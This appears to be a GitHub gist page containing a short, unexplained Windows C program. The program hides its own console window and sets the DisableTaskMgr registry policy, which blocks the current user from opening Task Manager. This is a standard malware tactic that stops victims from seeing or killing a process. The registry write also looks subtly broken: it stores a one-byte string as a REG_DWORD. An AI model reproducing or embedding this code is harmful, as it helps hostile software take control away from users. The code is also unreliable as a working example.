Skip to content

Instantly share code, notes, and snippets.

@MARSHMALLLOW
Created March 6, 2020 17:13
Show Gist options
  • Save MARSHMALLLOW/412174a0170cee912bbaf3b3130d8423 to your computer and use it in GitHub Desktop.
Save MARSHMALLLOW/412174a0170cee912bbaf3b3130d8423 to your computer and use it in GitHub Desktop.
#include <Windows.h>
int main() {
FreeConsole();
HKEY hKey;
const char *czName = "DisableTaskMgr";
const char *czVal = "1";
LONG retVal = RegCreateKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, REG_OPTION_NON_VOLATILE,
KEY_WRITE, NULL, &hKey, NULL);
if(retVal == ERROR_SUCCESS)
{
RegSetValueExA(hKey, czName, 0, REG_DWORD, (unsigned char *)czVal, strlen(czVal));
}
RegCloseKey(hKey);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment